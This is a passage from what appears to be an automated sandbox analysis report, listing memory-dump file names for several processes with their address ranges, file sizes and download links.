memory/2780-34-0x0000000002BB0000-0x0000000002C30000-memory.dmp

Filesize
512KB

Download
memory/2780-38-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-33-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-37-0x0000000002BB0000-0x0000000002C30000-memory.dmp

Filesize
512KB

Download
memory/2812-51-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2812-55-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2812-52-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2812-53-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2812-54-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2812-50-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2860-46-0x0000000000DD0000-0x0000000000E50000-memory.dmp

Filesize
512KB

Download
memory/2860-45-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-43-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-49-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-44-0x0000000000DD0000-0x0000000000E50000-memory.dmp

Filesize
512KB

Download
memory/2860-48-0x0000000000DD0000-0x0000000000E50000-memory.dmp

Filesize
512KB

Download
memory/2860-47-0x0000000000DD0000-0x0000000000E50000-memory.dmp

Filesize
512KB

Download
memory/2912-27-0x000000013F6D0000-0x000000013F8E1000-memory.dmp

Filesize
2.1MB

Download
memory/2912-0-0x000000013F6D0000-0x000000013F8E1000-memory.dmp

Filesize
2.1MB

Download
memory/2940-23-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2940-24-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2940-22-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-21-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2940-19-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-25-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-20-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2940-18-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download